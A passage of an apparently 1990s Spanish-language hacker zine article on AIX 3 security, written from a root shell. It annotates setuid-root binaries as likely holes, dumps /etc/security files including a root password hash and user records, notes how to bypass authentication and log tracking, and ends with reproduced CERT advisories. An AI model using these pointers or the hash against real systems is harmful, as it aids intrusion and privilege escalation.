8415 18 Mar 1992 ./usr/lpp/bosperf/lib/tsamp.x -r-sr-x--- 1 root system 12512 18 Mar 1992 ./usr/lpp/bosperf/lib/tsamp2.x Esto esta masomenos arreglado... -r-sr-x--- 1 root system 60159 18 Mar 1992 ./usr/lpp/bosperf/filemon -r-sr-x--- 1 root system 14979 18 Mar 1992 ./usr/lpp/bosperf/fileplace -r-sr-x--- 1 root system 44968 18 Mar 1992 ./usr/lpp/bosperf/lvedit -r-sr-x--- 1 root system 76042 18 Mar 1992 ./usr/lpp/bosperf/netpmon -r-sr-x--- 1 root system 212342 18 Mar 1992 ./usr/lpp/bosperf/rmap -r-sr-x--- 1 root system 19545 18 Mar 1992 ./usr/lpp/bosperf/rmss -r-sr-x--- 1 root system 30092 18 Mar 1992 ./usr/lpp/bosperf/svmon Lo normal... -r-sr-sr-x 1 root cron 41154 15 Ago 13:57 ./usr/bin/at Hmmmmmmmmmmmmmm. -r-sr-sr-x 1 root mail 28708 15 Ago 13:57 ./usr/bin/bellmail -r-sr-x--- 1 root security 48081 15 Ago 13:57 ./usr/bin/chgroup -r-sr-s--- 1 root printq 38221 15 Ago 13:57 ./usr/bin/chque -r-sr-s--- 1 root printq 38221 15 Ago 13:57 ./usr/bin/chquedev -r-sr-x--- 1 root security 47335 15 Ago 13:57 ./usr/bin/chuser FIXED? -r-sr-sr-x 1 root cron 24663 15 Ago 13:57 ./usr/bin/crontab -r-sr-sr-x 1 root printq 53614 15 Ago 13:57 ./usr/bin/enq -r-sr-xr-x 1 root system 3352 15 Ago 13:57 ./usr/bin/host -r-sr-xr-x 1 root bin 12280 15 Ago 13:57 ./usr/bin/iostat -r-sr-xr-x 1 root bin 9038 15 Ago 13:57 ./usr/bin/ipcs -r-sr-xr-x 1 root system 6459 15 Ago 13:57 ./usr/bin/logout -r-sr-xr-x 1 root bin 3832 15 Ago 13:57 ./usr/bin/mesg -r-sr-xr-x 1 root security 56425 15 Ago 13:57 ./usr/bin/mkgroup -r-sr-s--- 1 root printq 37721 15 Ago 13:57 ./usr/bin/mkque -r-sr-s--- 1 root printq 38257 15 Ago 13:57 ./usr/bin/mkquedev -r-sr-x--- 1 root security 60701 15 Ago 13:57 ./usr/bin/mkuser -r-sr-xr-x 1 root bin 84163 15 Ago 13:57 ./usr/bin/netstat -r-sr-xr-x 1 root security 46722 15 Ago 13:57 ./usr/bin/newgrp -r-sr-xr-x 1 root bin 16044 15 Ago 13:57 ./usr/bin/open Race condition... -r-sr-xr-x 1 root security 46797 15 Ago 13:57 ./usr/bin/passwd -r-sr-x--- 1 root security 38773 15 Ago 13:57 ./usr/bin/pwdadm -r-sr-x--- 1 root security 36502 15 Ago 13:57 ./usr/bin/pwdck FIXED???? -r-sr-xr-x 1 root bin 59169 15 Ago 13:57 ./usr/bin/rdist -r-sr-s--- 1 root printq 37745 15 Ago 13:57 ./usr/bin/rmque -r-sr-s--- 1 root printq 38257 15 Ago 13:57 ./usr/bin/rmquedev -r-sr-xr-x 1 root security 51914 15 Ago 13:57 ./usr/bin/setgroups -r-sr-xr-x 1 root security 43542 15 Ago 13:57 ./usr/bin/setsenv -r-sr-xr-x 1 root security 5315 15 Ago 13:57 ./usr/bin/shell -r-sr-xr-x 1 root security 8152 15 Ago 13:57 ./usr/bin/su -r-sr-x--- 1 root security 84359 15 Ago 13:57 ./usr/bin/sysck -r-sr-x--- 1 root security 82279 15 Ago 13:57 ./usr/bin/tcbck -r-sr-x--- 1 root security 43342 15 Ago 13:57 ./usr/bin/usrck -r-sr-xr-x 1 root bin 18359 15 Ago 13:57 ./usr/bin/vmstat Y esto?? -r-sr-s--- 1 root ecs 11074 18 Dic 1991 ./usr/bin/chie -r-sr-s--- 1 root ecs 7738 18 Dic 1991 ./usr/bin/chiin -r-sr-s--- 1 root ecs 1307817 18 Dic 1991 ./usr/bin/ecs -r-sr-s--- 1 root ecs 4090 18 Dic 1991 ./usr/bin/ecsrf -r-sr-s--- 1 root ecs 362240 18 Dic 1991 ./usr/bin/iebase -r-sr-s--- 1 root ecs 8168 18 Dic 1991 ./usr/bin/lsie -r-sr-s--- 1 root ecs 3626 18 Dic 1991 ./usr/bin/lsiin FTP no tendria por que estar suid root en cualquier UNIX decente... -r-sr-xr-x 1 root system 186966 09 Ene 1992 ./usr/bin/ftp -r-sr-xr-x 1 root system 19965 09 Ene 1992 ./usr/bin/rcp -r-sr-xr-x 1 root bin 12300 09 Ene 1992 ./usr/bin/rexec -r-sr-xr-x 1 root bin 13060 09 Ene 1992 ./usr/bin/rlogin -r-sr-xr-x 1 root system 8346 09 Ene 1992 ./usr/bin/rsh -r-sr-xr-x 1 root system 6882 09 Ene 1992 ./usr/bin/ruptime -r-sr-xr-x 1 root system 4690 09 Ene 1992 ./usr/bin/rwho -r-sr-xr-x 1 root system 138371 09 Ene 1992 ./usr/bin/telnet Ni esto. -r-sr-xr-x 1 root system 27715 09 Ene 1992 ./usr/bin/tftp -r-sr-xr-x 1 root system 27715 04 Mar 1992 ./usr/lib/boot/tftp -r-sr-x--- 1 root system 5106 18 Mar 1992 ./usr/lib/drivers/rmss.ext -r-sr-x--- 1 root system 2029 18 Mar 1992 ./usr/lib/drivers/rmss.load -r-sr-x--- 1 root printq 37133 15 Ago 13:59 ./usr/lib/lpd/digest -r-sr-x--- 1 root printq 48872 15 Ago 13:59 ./usr/lib/lpd/qstatus -r-sr-x--- 1 root printq 46668 15 Ago 13:59 ./usr/lib/lpd/rembak -rwsr-sr-x 1 root system 505042 09 Ene 1992 ./usr/lib/lpd/cpsI1 -rwsr-sr-x 1 root system 575664 09 Ene 1992 ./usr/lib/lpd/cpsC1 -rwsr-sr-x 1 root system 778069 09 Ene 1992 ./usr/lib/lpd/cpsV1 -r-sr-x--- 1 root system 1898 15 Ago 14:00 ./usr/lib/methods/showled -r-sr-x--- 1 root adm 9790 15 Ago 14:02 ./usr/lib/sa/sadc -r-sr-xr-x 1 root bin 126760 18 Dic 1991 ./usr/lib/mh/post -r-sr-s--- 1 root system 4258 18 Dic 1991 ./usr/lib/semutil Uhg, el bugfiler suid root, lo unico que faltaria es que tenga un bug, jajaja -r-sr-xr-x 1 root bin 20410 18 Dic 1991 ./usr/lib/bugfiler -r-sr-x--- 1 root adm 10598 15 Ago 14:02 ./usr/sbin/acct/diskusg -r-sr-x--- 1 root adm 2626 18 Dic 1991 ./usr/sbin/acct/accton -r-sr-xr-x 1 root system 13256 15 Ago 14:02 ./usr/sbin/arp -r-sr-x--- 1 root audit 17898 15 Ago 14:02 ./usr/sbin/audit -r-sr-x--- 1 root audit 13878 15 Ago 14:02 ./usr/sbin/auditbin -r-sr-x--- 1 root audit 11208 15 Ago 14:02 ./usr/sbin/auditcat -r-sr-x--- 1 root audit 20612 15 Ago 14:02 ./usr/sbin/auditpr -r-sr-x--- 1 root audit 15104 15 Ago 14:02 ./usr/sbin/auditselect -r-sr-x--- 1 root audit 6286 15 Ago 14:02 ./usr/sbin/auditstream -r-sr-x--- 1 root system 13284 15 Ago 14:03 ./usr/sbin/cfgmgr -r-sr-x--- 1 root system 15907 15 Ago 14:03 ./usr/sbin/chdev -r-s--S--- 1 root cron 33123 15 Ago 14:03 ./usr/sbin/cron -r-sr-xr-x 2 root system 8591 15 Ago 14:03 ./usr/sbin/format -r-sr-xr-x 1 root system 10041 15 Ago 14:03 ./usr/sbin/fuser -r-sr-x--- 1 root security 16955 15 Ago 14:03 ./usr/sbin/grpck -r-sr-x--- 1 root system 14308 15 Ago 14:03 ./usr/sbin/ipl_varyon -r-sr-x--- 1 root system 6312 15 Ago 14:03 ./usr/sbin/lchangelv -r-sr-x--- 1 root system 5240 15 Ago 14:03 ./usr/sbin/lchangepv -r-sr-x--- 1 root system 6276 15 Ago 14:03 ./usr/sbin/lcreatelv -r-sr-x--- 1 root system 6286 15 Ago 14:03 ./usr/sbin/lcreatevg -r-sr-x--- 1 root system 5276 15 Ago 14:03 ./usr/sbin/ldeletelv -r-sr-x--- 1 root system 5204 15 Ago 14:03 ./usr/sbin/ldeletepv -r-sr-x--- 1 root system 7172 15 Ago 14:03 ./usr/sbin/lextendlv -r-sr-x--- 1 root system 5205 15 Ago 14:03 ./usr/sbin/linstallpv -r-sr-x--- 1 root system 4511 15 Ago 14:03 ./usr/sbin/lmigratepp -r-sr-s--- 1 root printq 47225 15 Ago 14:03 ./usr/sbin/lpd -r-sr-xr-x 1 root system 8141 15 Ago 14:03 ./usr/sbin/lquerylv -r-sr-xr-x 1 root system 6021 15 Ago 14:03 ./usr/sbin/lquerypv -r-sr-xr-x 1 root system 6021 15 Ago 14:03 ./usr/sbin/lqueryvg -r-sr-xr-x 1 root system 4424 15 Ago 14:03 ./usr/sbin/lqueryvgs -r-sr-x--- 1 root system 7172 15 Ago 14:03 ./usr/sbin/lreducelv -r-sr-x--- 1 root system 4546 15 Ago 14:03 ./usr/sbin/lresynclp -r-sr-x--- 1 root system 4510 15 Ago 14:03 ./usr/sbin/lresynclv -r-sr-xr-x 1 root system 19571 15 Ago 14:03 ./usr/sbin/lslv -r-sr-xr-x 1 root system 14930 15 Ago 14:03 ./usr/sbin/lspv -r-sr-xr-x 1 root system 21884 15 Ago 14:03 ./usr/sbin/lsvg -r-sr-xr-x 1 root system 5067 15 Ago 14:03 ./usr/sbin/lsvgfs -r-sr-x--- 1 root system 4693 15 Ago 14:03 ./usr/sbin/lvaryoffvg -r-sr-x--- 1 root system 7588 15 Ago 14:03 ./usr/sbin/lvaryonvg -r-sr-x--- 1 root system 20183 15 Ago 14:03 ./usr/sbin/mkdev -r-sr-x--- 1 root system 20874 15 Ago 14:03 ./usr/sbin/mklv -r-sr-xr-x 1 root system 3866 15 Ago 14:03 ./usr/sbin/mknod -r-sr-x--- 1 root security 7492 15 Ago 14:03 ./usr/sbin/mkpasswd -r-sr-x--- 1 root system 11671 15 Ago 14:03 ./usr/sbin/mkvg -r-sr-xr-x 3 root system 32410 15 Ago 14:03 ./usr/sbin/mount -r-sr-x--- 6 root system 16587 15 Ago 14:03 ./usr/sbin/penable -r-sr-xr-x 1 root system 17973 15 Ago 14:03 ./usr/sbin/ping -r-sr-s--- 1 root printq 55225 15 Ago 14:03 ./usr/sbin/qdaemon -r-sr-xr-x 1 root bin 14008 15 Ago 14:03 ./usr/sbin/quota -r-sr-x--- 1 root system 15859 15 Ago 14:03 ./usr/sbin/rmdev -r-sr-x--- 1 root security 45557 15 Ago 14:03 ./usr/sbin/rmgroup -r-sr-x--- 1 root security 44641 15 Ago 14:03 ./usr/sbin/rmuser -r-sr-xr-- 1 root system 19770 15 Ago 14:03 ./usr/sbin/route -r-sr-s--x 3 root system 231925 15 Ago 14:03 ./usr/sbin/sendmail -r-sr-s--- 1 root system 27209 15 Ago 14:03 ./usr/sbin/srcmstr -r-sr-xr-x 3 root security 58142 15 Ago 14:03 ./usr/sbin/tsm -r-sr-x--- 1 root system 6954 15 Ago 14:03 ./usr/sbin/swapon -r-sr-x--- 1 root system 11771 15 Ago 14:03 ./usr/sbin/varyonvg -r-sr-x--- 1 root audit 15328 15 Ago 14:03 ./usr/sbin/watch -r-sr-x--- 1 root system 9663 15 Ago 14:03 ./usr/sbin/chcons -r-sr-xr-x 1 root system 3883 15 Ago 14:03 ./usr/sbin/lscons -r-sr-x--- 1 root system 4794 15 Ago 14:03 ./usr/sbin/swcons -r-sr-xr-x 2 root system 8591 15 Ago 14:03 ./usr/sbin/fdformat -r-sr-xr-x 3 root system 32410 15 Ago 14:03 ./usr/sbin/unmount -r-sr-xr-x 3 root system 32410 15 Ago 14:03 ./usr/sbin/umount -r-sr-x--- 6 root system 16587 15 Ago 14:03 ./usr/sbin/pdisable -r-sr-x--- 6 root system 16587 15 Ago 14:03 ./usr/sbin/pstart -r-sr-x--- 6 root system 16587 15 Ago 14:03 ./usr/sbin/phold -r-sr-x--- 6 root system 16587 15 Ago 14:03 ./usr/sbin/pdelay -r-sr-x--- 6 root system 16587 15 Ago 14:03 ./usr/sbin/pshare -r-sr-s--x 3 root system 231925 15 Ago 14:03 ./usr/sbin/mailq -r-sr-s--x 3 root system 231925 15 Ago 14:03 ./usr/sbin/newaliases BLAH! -r-sr-xr-x 3 root security 58142 15 Ago 14:03 ./usr/sbin/getty -r-sr-xr-x 3 root security 58142 15 Ago 14:03 ./usr/sbin/login -r-sr-x--- 1 root system 7995 18 Dic 1991 ./usr/sbin/uucpd -r-sr-xr-- 1 root system 115986 09 Ene 1992 ./usr/sbin/ftpd -r-sr-xr-- 1 root system 38070 09 Ene 1992 ./usr/sbin/inetd -r-sr-xr-- 1 root system 102327 09 Ene 1992 ./usr/sbin/named -r-sr-xr-- 1 root system 20647 09 Ene 1992 ./usr/sbin/named-xfer -r-sr-xr-- 1 root system 14812 09 Ene 1992 ./usr/sbin/rexecd -r-sr-xr-- 1 root system 22283 07 May 1992 ./usr/sbin/rlogind -r-sr-xr-- 1 root system 12289 09 Ene 1992 ./usr/sbin/rshd -r-sr-xr-- 1 root system 14351 09 Ene 1992 ./usr/sbin/rwhod -r-sr-xr-x 1 root system 5186 09 Ene 1992 ./usr/sbin/setclock -r-sr-xr-- 1 root system 13512 09 Ene 1992 ./usr/sbin/talkd -r-sr-xr-- 1 root system 38107 07 May 1992 ./usr/sbin/telnetd -r-sr-xr-x 1 root system 17591 09 Ene 1992 ./usr/sbin/timedc -r-sr-xr-x 1 root system 3884 09 Ene 1992 ./usr/sbin/keyenvoy -r-sr-xr-x 1 root system 9449 09 Ene 1992 ./usr/sbin/nfsstat --wsr-sr-x 1 root system 0 15 Ago 14:06 ./usr/share/lpp/inu_LOCK ---s--x--x 1 bin bin 6350 18 Dic 1991 ./usr/games/fortune --wsr-sr-x 1 root system 0 15 Ago 14:06 ./lpp/inu_LOCK El directorio /etc/security ~~~~~~~~~~~~~~~~~~~~~~~~~~~ En este directorio se encuentran varios files que definen caracteristicas especificas para cada usuario y/o grupo y defaults. La mayoria de los archivos relacionados con la seguridad del sistema se encuentran aqui. # whoami root # cd /etc/security # ls -al drwxr-x--- 3 root security 512 16 Ago 10:08 . drwxrwxr-x 15 root system 6144 26 Ago 19:20 .. -rw-rw---- 1 root security 253 15 Ago 14:04 .mprofile -rw-rw---- 1 root security 254 15 Ago 14:04 .profile drwxr-x--- 2 root audit 512 15 Ago 14:04 audit -rw-r----- 1 root security 60 15 Ago 14:04 environ -rw-r--r-- 1 root system 17216 26 Ago 12:06 failedlogin -rw-r----- 1 root security 305 15 Ago 14:04 group -rw-r----- 1 root security 29772 26 Ago 22:48 lastlog -rw-r----- 1 root security 543 15 Ago 14:04 limits -rw-rw---- 1 root security 805 15 Ago 14:04 login.cfg lrwxrwxrwx 1 root system 32 15 Ago 14:04 mkuser.default -> /usr/lib/security/mkuser.default lrwxrwxrwx 1 root system 28 15 Ago 14:04 mkuser.sys -> /usr/lib/security/mkuser.sys -rw-r----- 1 root security 29780 26 Ago 22:48 olastlog -rw------- 1 root security 532 24 Ago 20:40 opasswd -rw-r----- 1 root security 81937 15 Ago 17:48 osysck.cfg -rw------- 1 root security 591 24 Ago 20:40 passwd lrwxrwxrwx 1 root system 22 15 Ago 14:04 scan -> /usr/lib/security/scan -rw-r----- 1 root security 81937 15 Ago 17:48 sysck.cfg -rw-r----- 1 root security 3572 15 Ago 14:04 user -------------------------------------------------------------------------------- /* .mprofile : Script default que se ejecuta cada vez que se corre un shell */ # cat .mprofile PATH=/usr/mbin:/bin:/usr/bin:/etc:/usr/ucb:$HOME/bin:/usr/bin/X11:. export PATH if [ -s "$MAIL" ] # This is at Shell startup. In normal then echo "$MAILMSG" # operation, the Shell checks fi # periodically. -------------------------------------------------------------------------------- /* .profile : Script default que se ejecuta cada vez que se corre un shell */ # cat .profile PATH=/usr/bin:/etc:/usr/sbin:/usr/ucb:$HOME/bin:/usr/bin/X11:/sbin:. export PATH if [ -s "$MAIL" ] # This is at Shell startup. In normal then echo "$MAILMSG" # operation, the Shell checks fi # periodically. -------------------------------------------------------------------------------- /* user : Atributos de las cuentas. La descripcion de los atributos es bastante explicativa. Prestar especial atencion a auth1, que en conbinacion con la definicion de un metodo propio en login.cfg puede hacer que una cuenta tenga un metodo de validacion distinto al normal o incluso que no tenga autentificacion.. eh La entrada 'default' define los atributos para todos los usuarios, despues de lo cual entradas para usuarios especificos hacen un overide de los atributos que se indican. Es bastante estupido modificar auth1 y/o auth2 en la entrada default, a menos que uno se el admin del AIDX. Notese que el default de tpath es nosak y de umask es 022, mas generalmente, el default de AIDX es de 'seguridad relajada'. */ # cat user ******************************************************************************* * VALID USER ATTRIBUTES FOR /ETC/SECURITY/USER: * * admin Defines the administrative status of the user. * Possible values: true or false. * * auth1 Defines the primary authentication methods for a user. * Possible values: SYSTEM,NONE,method;username. * * SYSTEM will be the normal password authentication method. * * NONE will skip authentication. * * method;name. Will run a custom authentication * method in /etc/security/login.cfg. * for example: * if the auth1 value is: * auth1 = method;username * and the stanza in /etc/security/login.cfg is: * method: * program = /any/program * the username will be passed to the program /any/program * to be authenticated. * * these methods can be mixed: * for example: * auth1 = SYSTEM,method;username * this will ask for a password and then run the method * program. * * auth2 Defines the secondary authentication methods for a user. * Possible values: see auth1. * It is not a requirement to pass this method to login. * * daemon Defines whether the user can execute programs using cron or src. * Possible values: true or false. * * expires Defines the expiration time for the user account. * Possible values: a valid date in the form MMDDHHMMYY or 0. * If 0 the account does not expire. * If 0101000070 the account is disabled. * * login Defines whether the user can login. * Possible values: true or false. * * rlogin Defines whether the user account can be accessed * by remote logins. * Possible values: true or false. * * su Defines whether other users can su to this user account. * Possible values: true or false. * * sugroups Defines which groups can su to this user account. * Possible values: comma-separated list of valid groups, * ALL, or *. * note: these groups can be preceded by a ! to explicitly exclude * this group from su'ing to the user account. * * tpath Defines the user's trusted path characteristics. * Possible values: * nosak: the sak key (^X^R) has no effect. * notsh: the sak key logs you out you can never be on the * trusted path. * always: when you log in you are always on the trusted * path and can never get off. * on: enter trusted path when the sak key is hit. * note: these only take effect if the sak_enabled * attribute is set to true for the port you are * logging into in /etc/security/login.cfg. * * ttys Defines which terminals can access the user account. * Possible values: comma-seperated list of valid terminal * device paths, ALL, or *. * note: these ttys can be preceded by a ! to explicitly exclude * this tty from accessing to the user account. * * umask Defines the default umask for the user. * Possible values: three-digit octal value. * * notes: * for the boolean values (ie. true or false) any of the following * values will work: * true, false, yes, no, always, never. * These values are not case sensitive. * ******************************************************************************* default: admin = false login = true su = true daemon = true rlogin = true sugroups = ALL ttys = ALL auth1 = SYSTEM auth2 = NONE tpath = nosak umask = 022 expires = 0 root: admin = true daemon: admin = true expires = 0101000070 bin: admin = true expires = 0101000070 sys: admin = true expires = 0101000070 adm: admin = true uucp: admin = true login = false rlogin = false su = true guest: nobody: admin = true expires = 0101000070 lpd: admin = true expires = 0101000070 -------------------------------------------------------------------------------- /* group: Atributos de los distintos grupos de usuarios. */ # cat group system: admin = true staff: admin = false bin: admin = true sys: admin = true adm: admin = true uucp: admin = true mail: admin = true security: admin = true cron: admin = true printq: admin = true audit: admin = true ecs: admin = true usr: admin = false nobody: admin = false ------------------------------------------------------------------------------------- /* login.cfg: Configuracion del login. Define atributos para cada 'port' de acceso (tty bah), que mierda muestra en la pantallita (herald), si tiene habilitada la sak (el default es no :) ), restriciones en la eleccion de passwords, cantidad de logins maxima, etc. */ # cat login.cfg port: sak_enabled = false herald = "login:" * comma-seperated pathnames aliases = defport: herald = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\rIBM AIX Version 3 for RISC System/6000\n\r(C) Copyrights by IBM and by others 1982, 1991.\n\rlogin: " /dev/console: sak_enabled = false herald = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\rIBM AIX Version 3 for RISC System/6000\n\r(C) Copyrights by IBM and by others 1982, 1991.\n\rConsole login: " *auth_method: * program = pw_restrictions: maxage = 0 minage = 0 minalpha = 0 minother = 0 mindiff = 0 maxrepeats = 8 usw: shells = /bin/sh,/bin/bsh,/bin/csh,/bin/ksh,/bin/tsh,/usr/bin/sh,/usr/bin/bsh,/usr/bin/csh,/usr/bin/ksh,/usr/bin/tsh,/usr/mbin/sh,/usr/mbin/bsh,/usr/mbin/csh,/usr/mbin/ksh,/usr/mbin/tsh maxlogins = 8 -------------------------------------------------------------------------------- /* limits : Limites para el uso de recursos del sistema. Por lo general estos valores no son tomados en cuenta. Es mas, hasta el AIDX 3.2.5 este file existia pero no servia para nada. :) */ # cat limits * * Sizes are in multiples of blocks, CPU time is in seconds * * fsize - maximum file size in blocks * core - maximum core file size in blocks * cpu - per process CPU time limit in seconds * data - maximum data segment size in blocks * stack - maximum stack segment size in blocks * rss - maximum real memory usage in blocks * * NOTE: a value less than or equal to zero implies "unlimited" * default: fsize = 2097151 core = 2048 cpu = -1 data = 262144 rss = 65536 stack = 65536 root: daemon: bin: sys: adm: uucp: guest: -------------------------------------------------------------------------------- /* mkuser.default: Bleh! Defaults para la creacion de lusers, se explican por si mismos. */ # cat mkuser.default user: group = staff groups = staff prog = /bin/ksh home = /u/$USER admin: group = system groups = system prog = /bin/ksh home = /u/$USER -------------------------------------------------------------------------------- /* mkuser.sys: Script para crear nuevos lusers. Toma 4 argumentos homedir lusername groupname shell Es llamado por cosas horrendas del tipo SMIT(hers). */ # cat mkuser.sys # @(#)18 1.7 com/cmd/s/user/mkuser.sys.sh, bos, bos320 8/16/91 16:51:20 # COMPONENT_NAME: (CMDSUSER) security user commands # # FUNCTIONS: # # ORIGINS: 27 # # (C) COPYRIGHT International Business Machines Corp. 1989 # All Rights Reserved # Licensed Materials - Property of IBM # # US Government Users Restricted Rights - Use, duplication or # disclosure restricted by GSA ADP Schedule Contract with IBM Corp. # # # Check the number of arguments first # if [ $# -lt 4 ] then exit 1 fi # # Create the named directory if it does not already exist # and set the file ownership and permission # if [ ! -d $1 ] then mkdir $1 chgrp $3 $1 chown $2 $1 fi # # Copy the user's default .profile if it does not already # exist and change the file ownership, etc. # if [ `basename $4` != "csh" ] && [ ! -f $1/.profile ] then if [ `dirname $4` = "/usr/mbin" ] then cp /etc/security/.mprofile $1/.profile else cp /etc/security/.profile $1/.profile fi chmod u+rwx,go-w $1/.profile chgrp $3 $1/.profile chown $2 $1/.profile else if [ `basename $4` = "csh" ] && [ ! -f $1/.login ] then if [ $4 = "/usr/mbin/csh" ] then echo "#!/usr/mbin/csh" > "$1"/.login echo "set path = ( /usr/mbin /bin /usr/bin /etc /usr/ucb \$HOME/bin /usr/bin/X11 . )" >> "$1"/.login else echo "#!/bin/csh" > "$1"/.login echo "set path = ( /bin /usr/bin /etc /usr/ucb \$HOME/bin /usr/bin/X11 . )" >> "$1"/.login fi echo "setenv MAIL \"/usr/spool/mail/\$LOGNAME\"" >> "$1"/.login echo "setenv MAILMSG \"[YOU HAVE NEW MAIL]\"" >> "$1"/.login echo "if ( -f \"\$MAIL\" && ! -z \"\$MAIL\") then" >> "$1"/.login echo " echo \"\$MAILMSG\"" >> "$1"/.login echo "endif" >> "$1"/.login chmod u+rwx,go-w $1/.login chgrp $3 $1/.login chown $2 $1/.login fi fi -------------------------------------------------------------------------------- /* passwd : Uh? que podra ser??? */ # cat passwd root: password = W7sERbuuHfYQc lastupdate = 777752568 flags = daemon: password = * bin: password = * sys: password = * adm: password = * uucp: password = * guest: password = * nobody: password = * lpd: password = * mr370206: password = * lastupdate = 777342188 flags = mr334579: password = * lastupdate = 777661437 flags = mr334491: password = * lastupdate = 777661632 flags = mr372443: password = * lastupdate = 777672247 flags = mr371133: password = * lastupdate = 777681114 flags = mr370051: password = * lastupdate = 777782417 flags = -------------------------------------------------------------------------------- /* lastlog: Lo que su nombre indica, guarda fecha y hora del ultimo login de cada cuenta y del ultimo login fallido. Tambien desde donde se hicieron esos logins. Ojo, modificar SOLO este file no sirve de nada, hay que modificar tambien el lastlog usual que generalmente esta en /var/adm|/usr/adm|~adm|etc. Ademas, al parecer las actualizaciones aca se escriben al DESLOGUEARSE.... */ # cat lastlog ******************************************************************************* * valid user attributes for /etc/security/lastlog: * * time_last_login The last time that the user * successfully logged into the system. * * time_last_unsuccessful_login The time that the last unsuccessful * attempt to log in as the user was made. * * tty_last_login The last tty port that the user * successfully logged into. * * tty_last_unsuccessful_login The tty port of the last unsuccessful * attempt to log in as the user was * made. * * host_last_login The host from which the user logged in * from if the tty was not locally * attached. This implies that the user * used telnet or rlogin to log into the * system. * * host_last_unsuccessful_login The host from which the last * unsuccessful attempt to log in as the * user was made. * * unsuccessful_login_count The number of attempts to log in as * the user since the last successful * login. * ******************************************************************************* root: time_last_login = 777962903 tty_last_login = pts/1 host_last_login = loopback unsuccessful_login_count = 1 time_last_unsuccessful_login = 777702139 tty_last_unsuccessful_login = hft/0 host_last_unsuccessful_login = aixhost1 jperez: time_last_login = 777670818 tty_last_login = hft/0 host_last_login = aixhost1 ------------------------------- # exit NO CARRIER Existen muchas mas consideraciones a tratar, pero para dejar este file de un tama&o razonable y limitado a lo basico, lo dejo aca, agrego los CERT Advisories relevantes, en algun proximo numero habra mas cosas. ----------------------------- Anexo I ~~~~~~~ CA-91:19 TFTP Daemon Vulnerability. CA-92:05 REXD Daemon Vulnerability. CA-92:06 uucp Vulnerability. CA-92:07 /bin/passwd Vulnerability. CA-92:09 Anonymous FTP Vulnerability. CA-92:10 crontab Vulnerability CA-94:03 Performance tools Vulnerability. CA-94:09 /bin/login Vulnerability. CA-94:10 bsh Vulnerability. =========================================================================== CA-91:19 CERT Advisory October 17, 1991 AIX TFTP Daemon Vulnerability --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) has received information concerning a vulnerability in the TFTP daemon in all versions of AIX for IBM RS/6000 machines. IBM is aware of this problem and a fix is available as apar number "ix22628". This patch is available for all AIX releases from "GOLD" to the current release. NOTE: THIS IS AN UPDATED PATCH FROM ONE RECENTLY MADE AVAILABLE and fixes a security hole in the original patch. The SCCS id of the correct patch is tftpd.c 1.13.1.3 (*not* 1.13.1.2 or earlier versions). This can be checked using the following "what" command. % what /etc/tftpd /etc/tftpd: 56 1.13.1.3 tftpd.c, tcpip, tcpip312 10/10/91 09:01:48 tftpsubs.c 1.2 com/sockcmd/tftpd,3.1.2,9048312 10/8/89 17:40:55 IBM customers may call IBM Support (800-237-5511) and ask that the fix be shipped to them. The fix will appear in the upcoming 2009 update and the next release of AIX. --------------------------------------------------------------------------- I. Description Previous versions of tftpd did not provide a method for restricting TFTP access. II. Impact If TFTP is enabled at your site, anyone on the Internet can retrieve copies of your site's world-readable files, such as /etc/passwd. III. Solution A. Sites that do not need to allow tftp access should disable it. This can be done by editing /etc/inetd.conf and deleting or commenting out the tftpd line: #tftp dgram udp wait nobody /etc/tftpd tftpd -n and then, as root, restarting inetd with the "refresh" command. # refresh -s inetd For more details on starting/stopping tftp, refer to documentation for the System Resource Controller (SRC) or the System Management Interface Tool (SMIT). B. Sites that must run tftpd (for example, to support X terminals) should obtain and install the above patch AND create a /etc/tftpaccess.ctl file to restrict the files that are accessible. The /etc/tftpaccess.ctl file should be writable only by root. Although the new /etc/tftpaccess.ctl mechanism provides a very general capability, the CERT/CC strongly recommends that sites keep this control file simple. For example, the following tftpaccess.ctl file is all that is necessary to support IBM X terminals: # /etc/tftpaccess.ctl # By default, all files are restricted if /etc/tftpaccess.ctl exists. # Allow access to X terminal files. allow:/usr/lpp/x_st_mgr/bin NOTE: Be CERTAIN to create the /etc/tftpaccess.ctl file. If it does not exist then all world-readable files are accessible as in the current version of tftpd. Installation Instructions: 1. Create an appropriate /etc/tftpaccess.ctl file. 2. From the directory containing the new tftpd module, issue the following commands as root. # chmod 644 /etc/tftpaccess.ctl # chown root.system /etc/tftpaccess.ctl # mv /etc/tftpd /etc/tftpd.old # cp tftpd /etc # chmod 755 /etc/tftpd # chown root.system /etc/tftpd # refresh -s inetd --------------------------------------------------------------------------- The CERT/CC wishes to thank Karl Swartz of the Stanford Linear Accelerator Center for bringing this vulnerability to our attention. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact CERT/CC via telephone or e-mail. Computer Emergency Response Team/Coordination Center (CERT/CC) Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 Internet E-mail: cert@cert.org Telephone: 412-268-7090 24-hour hotline: CERT/CC personnel answer 7:30a.m.-6:00p.m. EST/EDT, on call for emergencies during other hours. Past advisories and other computer security related information are available for anonymous ftp from the cert.org (192.88.209.5) system. =========================================================================== CA-92:05 CERT Advisory March 5, 1992 AIX REXD Daemon Vulnerability --------------------------------------------------------------------------- The Computer Emergency Response Team/Coordination Center (CERT/CC) has received information concerning a vulnerability with the rexd daemon in versions 3.1 and 3.2 of AIX for IBM RS/6000 machines. IBM is aware of the problem and it will be fixed in future updates to AIX 3.1 and 3.2. Sites may call IBM Support (800-237-5511) and ask for the patch for apar ix21353. Patches may be obtained outside the U.S. by contacting your local IBM representative. The fix is also provided below. --------------------------------------------------------------------------- I. Description In certain configurations, particularly if NFS is installed, the rexd (RPC remote program execution) daemon is enabled. Note: Installing NFS with the current versions of "mknfs" will re-enable rexd even if it was previously disabled. II. Impact If a system allows rexd connections, anyone on the Internet can gain access to the system as a user other than root. III. Solution CERT/CC and IBM recommend that sites take the following actions immediately. These steps should also be taken whenever "mknfs" is run. 1. Be sure the rexd line in /etc/inetd.conf is commented out by having a '#' at the beginning of the line: #rexd sunrpc_tcp tcp wait root /usr/etc/rpc.rexd rexd 100017 1 2. Refresh inetd by running the following command as root: refresh -s inetd --------------------------------------------------------------------------- The CERT/CC wishes to thank Darren Reed of the Australian National University for bringing this vulnerability to our attention and IBM for their response to the problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact CERT/CC or 